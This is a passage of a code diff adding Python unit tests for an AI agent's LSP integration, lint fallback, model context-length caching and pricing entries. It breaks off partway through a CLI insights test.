"""The original bug: ``npx tsc`` errors when tsc isn't installed.
Without this fix, the lint result is ``error``, which means the LSP
semantic tier (gated on ``success or skipped``) is skipped — the user
gets a useless tooling-error message instead of real diagnostics.
"""
from tools.file_operations import _looks_like_linter_unusable
npx_failure_output = (
" \n"
" This is not the tsc command you are looking for \n"
" \n"
"\n"
"To get access to the TypeScript compiler, tsc, from the command line either:\n"
"- Use npm install typescript to first add TypeScript to your project before using npx\n"
)
assert _looks_like_linter_unusable("npx", npx_failure_output) is True
def test_real_lint_error_not_classified_as_unusable():
"""A genuine TypeScript type error must NOT be misclassified."""
from tools.file_operations import _looks_like_linter_unusable
real_error = (
"bad.ts:5:1 - error TS2322: Type 'number' is not assignable to type 'string'.\n"
"5 const x: string = greet(42);\n"
" ~~~~~~~~~~~~~~~\n"
)
assert _looks_like_linter_unusable("npx", real_error) is False
def test_unknown_base_cmd_returns_false():
"""Unfamiliar linters fall through and use the normal error path."""
from tools.file_operations import _looks_like_linter_unusable
assert _looks_like_linter_unusable("eslint", "any output") is False
assert _looks_like_linter_unusable("", "anything") is False
def test_check_lint_returns_skipped_when_npx_tsc_unusable(tmp_path):
"""Integration: _check_lint sees npx exit non-zero with the npx banner
and returns a ``skipped`` LintResult so LSP can still run."""
from tools.environments.local import LocalEnvironment
from tools.file_operations import ShellFileOperations
ts_file = tmp_path / "bad.ts"
ts_file.write_text("const x: string = 42;\n")
env = LocalEnvironment()
fops = ShellFileOperations(env)
# Patch _exec to simulate ``npx tsc`` failing because tsc is missing.
npx_banner = (
" \n"
" This is not the tsc command you are looking for \n"
)
def fake_exec(cmd, **kwargs):
result = MagicMock()
result.exit_code = 1
result.stdout = npx_banner
return result
with patch.object(fops, "_exec", side_effect=fake_exec), \
patch.object(fops, "_has_command", return_value=True):
lint = fops._check_lint(str(ts_file))
assert lint.skipped is True, (
f"expected skipped (so LSP runs); got success={lint.success}, "
f"output={lint.output!r}"
)
assert "not usable" in (lint.message or "")
def test_check_lint_returns_error_for_real_ts_type_errors(tmp_path):
"""Sanity: real TypeScript errors still go through the error path."""
from tools.environments.local import LocalEnvironment
from tools.file_operations import ShellFileOperations
ts_file = tmp_path / "bad.ts"
ts_file.write_text("const x: string = 42;\n")
env = LocalEnvironment()
fops = ShellFileOperations(env)
real_tsc_error = (
"bad.ts:1:7 - error TS2322: Type 'number' is not assignable to type 'string'.\n"
"1 const x: string = 42;\n"
" ~\n"
"Found 1 error.\n"
)
def fake_exec(cmd, **kwargs):
result = MagicMock()
result.exit_code = 1
result.stdout = real_tsc_error
return result
with patch.object(fops, "_exec", side_effect=fake_exec), \
patch.object(fops, "_has_command", return_value=True):
lint = fops._check_lint(str(ts_file))
assert lint.skipped is False
assert lint.success is False
assert "TS2322" in lint.output
if __name__ == "__main__": # pragma: no cover
pytest.main([__file__, "-v"])
+144
View File
@@ -0,0 +1,144 @@
"""Tests for service-singleton lifecycle: atexit handler, idempotent shutdown.
These cover the exit-cleanup behavior added to plug the language-server
process leak — without the atexit hook, ``hermes chat`` exits while
pyright/gopls/etc. are still alive on the host.
"""
from __future__ import annotations
import atexit
from unittest.mock import MagicMock, patch
import pytest
from agent import lsp as lsp_module
@pytest.fixture(autouse=True)
def _reset_singleton():
"""Force a clean module state before each test.
Tests in this file share process-global state (the lazy
singleton + atexit registration flag); reset both before and
after every test so order doesn't matter.
"""
lsp_module._service = None
lsp_module._atexit_registered = False
yield
lsp_module._service = None
lsp_module._atexit_registered = False
def test_get_service_registers_atexit_handler_once(monkeypatch):
"""First call to ``get_service`` must register an atexit handler;
subsequent calls must NOT register another one (Python's ``atexit``
runs every registered callable, so a duplicate would shutdown
twice — harmless but wasteful)."""
fake_svc = MagicMock()
fake_svc.is_active.return_value = True
monkeypatch.setattr(
lsp_module.LSPService, "create_from_config", classmethod(lambda cls: fake_svc)
)
registrations = []
def fake_register(fn):
registrations.append(fn)
monkeypatch.setattr(atexit, "register", fake_register)
a = lsp_module.get_service()
b = lsp_module.get_service()
c = lsp_module.get_service()
assert a is fake_svc
assert b is fake_svc
assert c is fake_svc
assert len(registrations) == 1
# The registered callable must be our internal shutdown wrapper.
assert registrations[0] is lsp_module._atexit_shutdown
def test_atexit_shutdown_calls_shutdown_service(monkeypatch):
"""The atexit-registered wrapper invokes ``shutdown_service`` and
swallows any exception — by the time atexit fires, the user has
already seen the response and a noisy traceback would be clutter."""
called = []
monkeypatch.setattr(
lsp_module, "shutdown_service", lambda: called.append("shutdown")
)
lsp_module._atexit_shutdown()
assert called == ["shutdown"]
def test_atexit_shutdown_swallows_exceptions(monkeypatch):
def boom():
raise RuntimeError("server already dead")
monkeypatch.setattr(lsp_module, "shutdown_service", boom)
# Must not raise.
lsp_module._atexit_shutdown()
def test_shutdown_service_idempotent(monkeypatch):
"""Calling shutdown twice must be safe — first call cleans up,
second call no-ops (nothing to shut down)."""
fake_svc = MagicMock()
fake_svc.is_active.return_value = True
fake_svc.shutdown = MagicMock()
monkeypatch.setattr(
lsp_module.LSPService, "create_from_config", classmethod(lambda cls: fake_svc)
)
monkeypatch.setattr(atexit, "register", lambda fn: None)
lsp_module.get_service()
lsp_module.shutdown_service()
lsp_module.shutdown_service() # must not raise
assert fake_svc.shutdown.call_count == 1
def test_shutdown_service_no_op_when_never_started():
"""Calling shutdown without ever creating the service is safe."""
lsp_module.shutdown_service() # must not raise
def test_shutdown_service_swallows_exception(monkeypatch):
"""An exception during ``svc.shutdown()`` must not propagate —
the caller (often atexit) has nothing useful to do with it."""
fake_svc = MagicMock()
fake_svc.is_active.return_value = True
fake_svc.shutdown = MagicMock(side_effect=RuntimeError("kill -9 already"))
monkeypatch.setattr(
lsp_module.LSPService, "create_from_config", classmethod(lambda cls: fake_svc)
)
monkeypatch.setattr(atexit, "register", lambda fn: None)
lsp_module.get_service()
lsp_module.shutdown_service() # must not raise
def test_get_service_returns_none_for_inactive_service(monkeypatch):
"""A service whose ``is_active()`` returns False is treated as
not running — callers see ``None`` and fall back."""
fake_svc = MagicMock()
fake_svc.is_active.return_value = False
monkeypatch.setattr(
lsp_module.LSPService, "create_from_config", classmethod(lambda cls: fake_svc)
)
monkeypatch.setattr(atexit, "register", lambda fn: None)
assert lsp_module.get_service() is None
# Subsequent call returns None too — but the inactive instance is
# cached so we don't re-build it on every check.
assert lsp_module.get_service() is None
def test_get_service_returns_none_when_create_fails(monkeypatch):
"""Service factory returning ``None`` (no config, etc.) propagates."""
monkeypatch.setattr(
lsp_module.LSPService, "create_from_config", classmethod(lambda cls: None)
)
monkeypatch.setattr(atexit, "register", lambda fn: None)
assert lsp_module.get_service() is None
+197
View File
@@ -0,0 +1,197 @@
"""Tests for the LSP protocol framing layer.
The framer is small but load-bearing — Content-Length parsing is the
single most common reason for hand-rolled LSP clients to silently
deadlock. These tests exercise:
- exact wire format of outgoing messages (encode_message)
- partial-read tolerance + EOF handling (read_message)
- envelope helpers (request, response, notification, error)
- message classification
"""
from __future__ import annotations
import asyncio
import json
import pytest
from agent.lsp.protocol import (
ERROR_CONTENT_MODIFIED,
ERROR_METHOD_NOT_FOUND,
LSPProtocolError,
LSPRequestError,
classify_message,
encode_message,
make_error_response,
make_notification,
make_request,
make_response,
read_message,
)
# ---------------------------------------------------------------------------
# encode_message
# ---------------------------------------------------------------------------
def test_encode_message_uses_compact_separators_and_utf8():
msg = {"jsonrpc": "2.0", "id": 1, "method": "x", "params": {"k": "ä"}}
out = encode_message(msg)
# Header is plain ASCII Content-Length CRLF CRLF
header_end = out.index(b"\r\n\r\n") + 4
header = out[:header_end].decode("ascii")
body = out[header_end:]
assert "Content-Length:" in header
declared = int(header.split("Content-Length:")[1].split("\r\n")[0].strip())
# Declared length must equal actual body bytes.
assert declared == len(body)
# Body parses as JSON and round-trips.
parsed = json.loads(body.decode("utf-8"))
assert parsed == msg
# Body uses compact separators (no spaces between kv).
assert b'"id":1' in body
def test_encode_message_handles_unicode_in_strings():
msg = {"jsonrpc": "2.0", "method": "log", "params": {"text": "🚀 ünıcödé"}}
out = encode_message(msg)
header_end = out.index(b"\r\n\r\n") + 4
declared = int(out[: out.index(b"\r\n")].split(b": ")[1])
assert declared == len(out[header_end:])
assert json.loads(out[header_end:].decode("utf-8")) == msg
# ---------------------------------------------------------------------------
# read_message
# ---------------------------------------------------------------------------
async def _stream_from_bytes(data: bytes) -> asyncio.StreamReader:
"""Build an asyncio.StreamReader pre-populated with ``data``."""
reader = asyncio.StreamReader()
reader.feed_data(data)
reader.feed_eof()
return reader
@pytest.mark.asyncio
async def test_read_message_round_trip():
msg = {"jsonrpc": "2.0", "method": "ping"}
reader = await _stream_from_bytes(encode_message(msg))
parsed = await read_message(reader)
assert parsed == msg
@pytest.mark.asyncio
async def test_read_message_clean_eof_returns_none():
reader = await _stream_from_bytes(b"")
assert await read_message(reader) is None
@pytest.mark.asyncio
async def test_read_message_truncated_body_raises():
msg = encode_message({"jsonrpc": "2.0", "method": "x"})
truncated = msg[: -3] # cut the body
reader = await _stream_from_bytes(truncated)
with pytest.raises(LSPProtocolError):
await read_message(reader)
@pytest.mark.asyncio
async def test_read_message_missing_content_length_raises():
bad = b"X-Other: 5\r\n\r\n12345"
reader = await _stream_from_bytes(bad)
with pytest.raises(LSPProtocolError):
await read_message(reader)
@pytest.mark.asyncio
async def test_read_message_two_messages_back_to_back():
a = encode_message({"jsonrpc": "2.0", "method": "a"})
b = encode_message({"jsonrpc": "2.0", "method": "b"})
reader = await _stream_from_bytes(a + b)
assert (await read_message(reader))["method"] == "a"
assert (await read_message(reader))["method"] == "b"
@pytest.mark.asyncio
async def test_read_message_rejects_runaway_header():
"""A pathological server that streams headers without ever emitting
the CRLF-CRLF terminator must not loop forever — the 8 KiB cap kicks
in and surfaces a protocol error."""
flood = (b"X-Junk: " + b"A" * 200 + b"\r\n") * 60 # ~12 KiB worth
reader = await _stream_from_bytes(flood)
with pytest.raises(LSPProtocolError) as exc:
await read_message(reader)
assert "8 KiB" in str(exc.value)
# ---------------------------------------------------------------------------
# envelope helpers
# ---------------------------------------------------------------------------
def test_make_request_includes_id_and_method():
msg = make_request(7, "ping", {"v": 1})
assert msg == {"jsonrpc": "2.0", "id": 7, "method": "ping", "params": {"v": 1}}
def test_make_request_omits_params_when_none():
msg = make_request(7, "ping", None)
assert "params" not in msg
def test_make_notification_omits_id():
msg = make_notification("log", {"line": "hi"})
assert "id" not in msg
assert msg["method"] == "log"
def test_make_response_carries_result():
msg = make_response(7, {"ok": True})
assert msg["id"] == 7 and msg["result"] == {"ok": True}
def test_make_error_response_shape():
msg = make_error_response(7, ERROR_CONTENT_MODIFIED, "stale", {"hint": "retry"})
assert msg["error"]["code"] == ERROR_CONTENT_MODIFIED
assert msg["error"]["message"] == "stale"
assert msg["error"]["data"] == {"hint": "retry"}
# ---------------------------------------------------------------------------
# classify_message
# ---------------------------------------------------------------------------
def test_classify_message_request():
msg = {"jsonrpc": "2.0", "id": 1, "method": "x"}
assert classify_message(msg) == ("request", 1)
def test_classify_message_response():
msg = {"jsonrpc": "2.0", "id": 1, "result": None}
assert classify_message(msg) == ("response", 1)
def test_classify_message_notification():
msg = {"jsonrpc": "2.0", "method": "log"}
assert classify_message(msg) == ("notification", "log")
def test_classify_message_invalid():
assert classify_message({"id": 1})[0] == "invalid"
assert classify_message({"jsonrpc": "1.0", "method": "x"})[0] == "invalid"
# ---------------------------------------------------------------------------
# LSPRequestError
# ---------------------------------------------------------------------------
def test_lsp_request_error_carries_code_and_data():
e = LSPRequestError(ERROR_METHOD_NOT_FOUND, "no", {"x": 1})
assert e.code == ERROR_METHOD_NOT_FOUND
assert e.message == "no"
assert e.data == {"x": 1}
+94
View File
@@ -0,0 +1,94 @@
"""Tests for the diagnostic reporter (formatting layer)."""
from __future__ import annotations
from agent.lsp.reporter import (
DEFAULT_SEVERITIES,
MAX_PER_FILE,
format_diagnostic,
report_for_file,
truncate,
)
def _diag(line=0, col=0, sev=1, code="E001", source="ls", msg="oops"):
return {
"range": {
"start": {"line": line, "character": col},
"end": {"line": line, "character": col + 1},
},
"severity": sev,
"code": code,
"source": source,
"message": msg,
}
def test_format_diagnostic_uses_one_indexed_position():
line = format_diagnostic(_diag(line=4, col=2))
assert "[5:3]" in line # +1 on both
def test_format_diagnostic_includes_severity_label():
assert format_diagnostic(_diag(sev=1)).startswith("ERROR")
assert format_diagnostic(_diag(sev=2)).startswith("WARN")
assert format_diagnostic(_diag(sev=3)).startswith("INFO")
assert format_diagnostic(_diag(sev=4)).startswith("HINT")
def test_format_diagnostic_includes_code_and_source():
line = format_diagnostic(_diag(code="X42", source="src"))
assert "[X42]" in line
assert "(src)" in line
def test_format_diagnostic_omits_missing_optional_fields():
line = format_diagnostic(
{
"range": {
"start": {"line": 0, "character": 0},
"end": {"line": 0, "character": 0},
},
"severity": 1,
"message": "bare",
}
)
assert "[" not in line.split("]", 1)[1] # no extra brackets after the position
assert "(" not in line
def test_report_for_file_returns_empty_when_only_warnings():
"""Default severity filter is ERROR-only."""
report = report_for_file("/x.py", [_diag(sev=2)])
assert report == ""
def test_report_for_file_emits_block_with_errors():
diag = _diag(msg="real error")
report = report_for_file("/x.py", [diag])
assert "<diagnostics file=\"/x.py\">" in report
assert "real error" in report
assert "</diagnostics>" in report
def test_report_for_file_caps_at_max_per_file():
diags = [_diag(line=i) for i in range(MAX_PER_FILE + 5)]
report = report_for_file("/x.py", diags)
assert "and 5 more" in report
def test_report_for_file_respects_custom_severities():
diag = _diag(sev=2, msg="warn")
report = report_for_file("/x.py", [diag], severities=frozenset({1, 2}))
assert "warn" in report
def test_truncate_below_limit_unchanged():
s = "abc" * 100
assert truncate(s, limit=4000) == s
def test_truncate_above_limit_appends_marker():
s = "x" * 10000
out = truncate(s, limit=200)
assert out.endswith("[truncated]")
assert len(out) <= 200
+149
View File
@@ -0,0 +1,149 @@
"""Tests for the synchronous LSPService wrapper.
Drives the service through ``snapshot_baseline`` →
``get_diagnostics_sync`` against the mock LSP server, exercising the
delta filter that ``tools/file_operations._check_lint_delta`` relies
on.
"""
from __future__ import annotations
import os
import sys
from pathlib import Path
import pytest
from agent.lsp.manager import LSPService
from agent.lsp.servers import (
SERVERS,
ServerContext,
ServerDef,
SpawnSpec,
find_server_for_file,
)
MOCK_SERVER = str(Path(__file__).parent / "_mock_lsp_server.py")
def _install_mock_server(monkeypatch, script: str = "errors", server_id: str = "pyright"):
"""Replace one registered server with a wrapper that spawns the mock.
We reuse ``pyright`` so .py files route to it. This keeps the
test free of any LSP toolchain dependency.
"""
target_index = next(i for i, s in enumerate(SERVERS) if s.server_id == server_id)
original = SERVERS[target_index]
def _spawn(root: str, ctx: ServerContext) -> SpawnSpec:
env = {"MOCK_LSP_SCRIPT": script}
return SpawnSpec(
command=[sys.executable, MOCK_SERVER],
workspace_root=root,
cwd=root,
env=env,
initialization_options={},
)
replacement = ServerDef(
server_id=server_id,
extensions=original.extensions,
resolve_root=lambda fp, ws: ws, # always use workspace root
build_spawn=_spawn,
seed_first_push=False,
description="mock " + server_id,
)
# Patch the SERVERS list element directly + restore on teardown.
SERVERS[target_index] = replacement
yield
SERVERS[target_index] = original
@pytest.fixture
def mock_pyright(monkeypatch, tmp_path):
"""Install the mock as ``pyright`` and create a fake git workspace."""
repo = tmp_path / "repo"
repo.mkdir()
(repo / ".git").mkdir()
(repo / "pyproject.toml").write_text("") # so pyright's root resolver finds it
monkeypatch.chdir(str(repo))
gen = _install_mock_server(monkeypatch, "errors", "pyright")
next(gen)
yield repo
try:
next(gen)
except StopIteration:
pass
def test_service_returns_empty_when_disabled(tmp_path):
svc = LSPService(
enabled=False,
wait_mode="document",
wait_timeout=2.0,
install_strategy="auto",
)
assert not svc.is_active()
f = tmp_path / "x.py"
f.write_text("")
assert svc.get_diagnostics_sync(str(f)) == []
svc.shutdown()
def test_service_skips_files_outside_workspace(tmp_path):
"""Files outside any git worktree must not trigger LSP."""
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
f = tmp_path / "x.py"
f.write_text("")
# No .git anywhere — service should report not enabled for this file.
assert not svc.enabled_for(str(f))
svc.shutdown()
def test_service_e2e_delta_filter(mock_pyright):
"""End-to-end: snapshot baseline → wait → delta returned."""
repo = mock_pyright
f = repo / "x.py"
f.write_text("print('hi')\n")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=3.0,
install_strategy="manual",
)
try:
assert svc.enabled_for(str(f))
# Baseline first — server pushes 1 error.
svc.snapshot_baseline(str(f))
# Re-poll: same error is in baseline, so delta is empty.
new_diags = svc.get_diagnostics_sync(str(f))
assert new_diags == []
finally:
svc.shutdown()
def test_service_status_includes_clients(mock_pyright):
repo = mock_pyright
f = repo / "x.py"
f.write_text("")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=3.0,
install_strategy="manual",
)
try:
svc.get_diagnostics_sync(str(f))
info = svc.get_status()
assert info["enabled"] is True
assert any(c["server_id"] == "pyright" for c in info["clients"])
finally:
svc.shutdown()
+139
View File
@@ -0,0 +1,139 @@
"""Tests for workspace + project-root resolution."""
from __future__ import annotations
import os
from pathlib import Path
import pytest
from agent.lsp.workspace import (
clear_cache,
find_git_worktree,
is_inside_workspace,
nearest_root,
normalize_path,
resolve_workspace_for_file,
)
@pytest.fixture(autouse=True)
def _clear():
clear_cache()
yield
clear_cache()
def test_find_git_worktree_returns_none_outside_repo(tmp_path: Path):
sub = tmp_path / "sub"
sub.mkdir()
assert find_git_worktree(str(sub)) is None
def test_find_git_worktree_finds_dotgit(tmp_path: Path):
repo = tmp_path / "repo"
repo.mkdir()
(repo / ".git").mkdir()
sub = repo / "src" / "deep"
sub.mkdir(parents=True)
assert find_git_worktree(str(sub)) == str(repo)
def test_find_git_worktree_handles_dotgit_file(tmp_path: Path):
"""``.git`` can also be a file (gitfile pointing into a worktree)."""
repo = tmp_path / "repo"
repo.mkdir()
(repo / ".git").write_text("gitdir: /elsewhere\n")
assert find_git_worktree(str(repo)) == str(repo)
def test_is_inside_workspace_true_for_subpath(tmp_path: Path):
root = tmp_path / "p"
root.mkdir()
sub = root / "x" / "y.py"
sub.parent.mkdir(parents=True)
sub.write_text("")
assert is_inside_workspace(str(sub), str(root))
def test_is_inside_workspace_false_for_unrelated(tmp_path: Path):
a = tmp_path / "a"
b = tmp_path / "b"
a.mkdir()
b.mkdir()
f = b / "x.py"
f.write_text("")
assert not is_inside_workspace(str(f), str(a))
def test_nearest_root_finds_first_marker(tmp_path: Path):
root = tmp_path / "p"
deep = root / "src" / "pkg"
deep.mkdir(parents=True)
(root / "pyproject.toml").write_text("")
found = nearest_root(str(deep / "mod.py"), ["pyproject.toml"])
assert found == str(root)
def test_nearest_root_excludes_take_priority(tmp_path: Path):
"""If an exclude marker matches first, return None."""
root = tmp_path / "p"
sub = root / "deno-app"
sub.mkdir(parents=True)
(sub / "deno.json").write_text("{}")
(root / "package.json").write_text("{}") # would match if not for exclude
found = nearest_root(
str(sub / "main.ts"),
["package.json"],
excludes=["deno.json"],
)
assert found is None
def test_nearest_root_returns_none_when_no_marker(tmp_path: Path):
f = tmp_path / "x.py"
f.write_text("")
assert nearest_root(str(f), ["pyproject.toml"]) is None
def test_resolve_workspace_for_file_uses_cwd_first(tmp_path: Path, monkeypatch):
repo = tmp_path / "repo"
(repo / ".git").mkdir(parents=True)
file_path = repo / "x.py"
file_path.write_text("")
# cwd is inside the repo
monkeypatch.chdir(str(repo))
root, gated = resolve_workspace_for_file(str(file_path))
assert root == str(repo)
assert gated is True
def test_resolve_workspace_for_file_no_repo_returns_none(tmp_path: Path, monkeypatch):
monkeypatch.chdir(str(tmp_path))
f = tmp_path / "x.py"
f.write_text("")
root, gated = resolve_workspace_for_file(str(f))
assert root is None
assert gated is False
def test_resolve_workspace_falls_back_to_file_location(tmp_path: Path, monkeypatch):
"""When cwd isn't a git repo but the file is inside one, we still
discover the workspace from the file's path."""
not_a_repo = tmp_path / "loose"
not_a_repo.mkdir()
monkeypatch.chdir(str(not_a_repo))
repo = tmp_path / "actual-repo"
(repo / ".git").mkdir(parents=True)
f = repo / "x.py"
f.write_text("")
root, gated = resolve_workspace_for_file(str(f))
assert root == str(repo)
assert gated is True
def test_normalize_path_expands_tilde(monkeypatch):
monkeypatch.setenv("HOME", "/home/user")
p = normalize_path("~/x.py")
assert p == os.path.abspath("/home/user/x.py")
+1
View File
@@ -660,6 +660,7 @@ class TestAuxiliaryPoolAwareness:
with (
patch("agent.auxiliary_client.load_pool", return_value=_Pool()),
patch("agent.auxiliary_client.OpenAI") as mock_openai,
patch("hermes_cli.models.get_nous_recommended_aux_model", return_value=None),
):
from agent.auxiliary_client import _try_nous
+234
View File
@@ -473,6 +473,240 @@ class TestCodexOAuthContextLength:
assert ctx == 1_000_000, "Non-codex 1M cache entries must be respected"
# =========================================================================
# Nous Portal context-window resolution (provider="nous")
# =========================================================================
class TestNousPortalContextResolution:
"""Nous Portal /v1/models is authoritative for what Nous infra enforces
and may diverge from the OpenRouter catalog.
Invariants this class pins down:
1. Portal value wins over the OR fallback.
2. Portal-derived values are persisted to disk.
3. OR-fallback values are NEVER persisted — otherwise a single portal
blip would freeze the wrong value in via step-1 cache short-circuit.
4. Pre-fix persistent-cache entries (seeded from the OR catalog) are
bypassed at step 1 and overwritten once the portal responds.
5. Pre-fix persistent-cache entries SURVIVE on disk when the portal
is unreachable — no opportunistic invalidation that loses the only
value we have.
"""
def setup_method(self):
import agent.model_metadata as mm
mm._endpoint_model_metadata_cache.clear()
mm._endpoint_model_metadata_cache_time.clear()
@patch("agent.model_metadata.fetch_endpoint_model_metadata")
@patch("agent.model_metadata.fetch_model_metadata")
def test_portal_value_wins_over_openrouter_catalog(
self, mock_or, mock_portal, tmp_path, monkeypatch
):
"""The motivating case: OR catalog says 1M for qwen3.6-plus, but
the Nous portal correctly enforces 262144. Portal must win."""
import agent.model_metadata as mm
cache_file = tmp_path / "context_length_cache.yaml"
monkeypatch.setattr(mm, "_get_context_cache_path", lambda: cache_file)
mock_portal.return_value = {
"qwen3.6-plus": {"context_length": 262_144},
}
mock_or.return_value = {
"qwen/qwen3.6-plus": {"context_length": 1_000_000},
}
ctx = mm.get_model_context_length(
model="qwen3.6-plus",
base_url="https://inference-api.nousresearch.com/v1",
api_key="fake-token",
provider="nous",
)
assert ctx == 262_144, (
f"Portal must override OR catalog; got {ctx} (OR leak?)"
)
@patch("agent.model_metadata.fetch_endpoint_model_metadata")
@patch("agent.model_metadata.fetch_model_metadata")
def test_portal_value_is_persisted_to_disk(
self, mock_or, mock_portal, tmp_path, monkeypatch
):
"""Portal-derived value should land in the persistent cache so
cross-process callers (e.g. child agents) see the same value."""
import agent.model_metadata as mm
cache_file = tmp_path / "context_length_cache.yaml"
monkeypatch.setattr(mm, "_get_context_cache_path", lambda: cache_file)
mock_portal.return_value = {
"qwen3.6-plus": {"context_length": 262_144},
}
mock_or.return_value = {}
base_url = "https://inference-api.nousresearch.com/v1"
ctx = mm.get_model_context_length(
model="qwen3.6-plus",
base_url=base_url,
api_key="fake",
provider="nous",
)
assert ctx == 262_144
persisted = yaml.safe_load(cache_file.read_text()).get("context_lengths", {})
assert persisted.get(f"qwen3.6-plus@{base_url}") == 262_144, (
"Portal-derived value should be persisted to disk"
)
@patch("agent.model_metadata.fetch_endpoint_model_metadata")
@patch("agent.model_metadata.fetch_model_metadata")
def test_openrouter_fallback_is_not_persisted(
self, mock_or, mock_portal, tmp_path, monkeypatch
):
"""When the portal can't resolve a model (network blip, auth glitch,
model not yet listed) we fall back to the OR catalog so the agent
keeps working — but we must NOT write the OR value to disk. Once
cached on disk, step-1 short-circuits forever and the user is stuck
with the wrong number until they manually clear the cache."""
import agent.model_metadata as mm
cache_file = tmp_path / "context_length_cache.yaml"
monkeypatch.setattr(mm, "_get_context_cache_path", lambda: cache_file)
mock_portal.return_value = {} # portal unreachable / model unknown
mock_or.return_value = {
"qwen/qwen3.6-plus": {"context_length": 1_000_000},
}
base_url = "https://inference-api.nousresearch.com/v1"
ctx = mm.get_model_context_length(
model="qwen3.6-plus",
base_url=base_url,
api_key="fake",
provider="nous",
)
assert ctx == 1_000_000, "OR fallback should still serve the request"
assert not cache_file.exists() or not yaml.safe_load(
cache_file.read_text()
).get("context_lengths", {}), (
"OR-fallback values must NOT be persisted — a single portal blip "
"would otherwise freeze the wrong value in via step-1 cache hit"
)
@patch("agent.model_metadata.fetch_endpoint_model_metadata")
@patch("agent.model_metadata.fetch_model_metadata")
def test_stale_cache_is_bypassed_and_overwritten_by_portal(
self, mock_or, mock_portal, tmp_path, monkeypatch
):
"""Users upgrading from pre-fix builds have ``qwen3.6-plus@…nous… =
1000000`` (OR-derived) sitting in their cache file. Step 1 must
NOT short-circuit on that entry — step 5b reconciles against the
portal and overwrites the persistent value with 262144."""
import agent.model_metadata as mm
cache_file = tmp_path / "context_length_cache.yaml"
monkeypatch.setattr(mm, "_get_context_cache_path", lambda: cache_file)
base_url = "https://inference-api.nousresearch.com/v1"
stale_key = f"qwen3.6-plus@{base_url}"
other_key = "other-model@https://api.openai.com/v1"
cache_file.write_text(yaml.dump({"context_lengths": {
stale_key: 1_000_000, # pre-fix OR-derived value
other_key: 128_000, # unrelated, must survive
}}))
mock_portal.return_value = {
"qwen3.6-plus": {"context_length": 262_144},
}
mock_or.return_value = {}
ctx = mm.get_model_context_length(
model="qwen3.6-plus",
base_url=base_url,
api_key="fake",
provider="nous",
)
assert ctx == 262_144, (
f"Stale OR-derived cache entry should not have leaked through; got {ctx}"
)
remaining = yaml.safe_load(cache_file.read_text()).get("context_lengths", {})
assert remaining.get(stale_key) == 262_144, (
"Portal value should have overwritten the stale entry on disk"
)
assert remaining.get(other_key) == 128_000, (
"Unrelated cache entries must not be touched"
)
@patch("agent.model_metadata.fetch_endpoint_model_metadata")
@patch("agent.model_metadata.fetch_model_metadata")
def test_stale_cache_survives_when_portal_unreachable(
self, mock_or, mock_portal, tmp_path, monkeypatch
):
"""When the portal is unreachable AND we have a (potentially stale)
on-disk cache entry, the entry must survive untouched — we don't
want a transient outage to delete the only value we have. The
request itself still gets served via OR fallback for this call."""
import agent.model_metadata as mm
cache_file = tmp_path / "context_length_cache.yaml"
monkeypatch.setattr(mm, "_get_context_cache_path", lambda: cache_file)
base_url = "https://inference-api.nousresearch.com/v1"
existing_key = f"qwen3.6-plus@{base_url}"
cache_file.write_text(yaml.dump({"context_lengths": {
existing_key: 1_000_000,
}}))
mock_portal.return_value = {} # portal unreachable
mock_or.return_value = {
"qwen/qwen3.6-plus": {"context_length": 1_000_000},
}
mm.get_model_context_length(
model="qwen3.6-plus",
base_url=base_url,
api_key="fake",
provider="nous",
)
remaining = yaml.safe_load(cache_file.read_text()).get("context_lengths", {})
assert remaining.get(existing_key) == 1_000_000, (
"Persistent cache entry must survive a transient portal outage"
)
@patch("agent.model_metadata.fetch_endpoint_model_metadata")
@patch("agent.model_metadata.fetch_model_metadata")
def test_bypass_keyed_on_url_not_provider_string(
self, mock_or, mock_portal, tmp_path, monkeypatch
):
"""Some call sites pass ``provider=""`` or ``provider="openrouter"``
when the user is really on Nous Portal (e.g. cred-pool fallback).
The Nous-URL bypass must trigger off the URL host, not the provider
string, so the portal-first resolver still runs in that case."""
import agent.model_metadata as mm
cache_file = tmp_path / "context_length_cache.yaml"
monkeypatch.setattr(mm, "_get_context_cache_path", lambda: cache_file)
base_url = "https://inference-api.nousresearch.com/v1"
cache_file.write_text(yaml.dump({"context_lengths": {
f"qwen3.6-plus@{base_url}": 1_000_000, # stale
}}))
mock_portal.return_value = {
"qwen3.6-plus": {"context_length": 262_144},
}
mock_or.return_value = {}
for provider_arg in ("", "openrouter", "custom"):
mm._endpoint_model_metadata_cache.clear()
mm._endpoint_model_metadata_cache_time.clear()
ctx = mm.get_model_context_length(
model="qwen3.6-plus",
base_url=base_url,
api_key="fake",
provider=provider_arg,
)
assert ctx == 262_144, (
f"URL-based Nous detection must fire for provider={provider_arg!r}; "
f"got {ctx}"
)
# =========================================================================
# get_model_context_length — resolution order
# =========================================================================
+34
View File
@@ -190,3 +190,37 @@ def test_custom_endpoint_models_api_pricing_is_supported(monkeypatch):
assert float(entry.input_cost_per_million) == 0.5
assert float(entry.output_cost_per_million) == 2.0
def test_deepseek_v4_pro_pricing_entry_exists():
"""Regression test: deepseek-v4-pro must have a pricing entry.
Before this fix, deepseek-v4-pro sessions showed as unknown cost
in hermes insights because the _OFFICIAL_DOCS_PRICING table had no
entry for that model. See #24218.
"""
entry = get_pricing_entry(
"deepseek-v4-pro",
provider="deepseek",
)
assert entry is not None
assert entry.input_cost_per_million is not None
assert entry.output_cost_per_million is not None
assert float(entry.input_cost_per_million) == 1.74
assert float(entry.output_cost_per_million) == 3.48
assert float(entry.cache_read_cost_per_million) == 0.0145
def test_deepseek_v4_pro_estimate_usage_cost():
"""Ensure deepseek-v4-pro sessions get a dollar estimate, not unknown."""
result = estimate_usage_cost(
"deepseek-v4-pro",
CanonicalUsage(input_tokens=1000000, output_tokens=500000),
provider="deepseek",
)
assert result.status == "estimated"
assert result.amount_usd is not None
# 1M input × $1.74/M + 500K output × $3.48/M = $1.74 + $1.74 = $3.48
assert float(result.amount_usd) == 3.48
+43
View File
@@ -0,0 +1,43 @@
from unittest.mock import MagicMock, patch
from cli import HermesCLI
class _InsightsEngineStub:
calls = []
def __init__(self, db):
self.db = db
def generate(self, *, days=30, source=None):
self.calls.append({"days": days, "source": source})
return {"days": days, "source": source}
def format_terminal(self, report):
return f"days={report['days']} source={report['source']}"
def _run_show_insights(command: str):
cli_obj = HermesCLI.__new__(HermesCLI)
db = MagicMock()
_InsightsEngineStub.calls = []
with patch("hermes_state.SessionDB", return_value=db), \
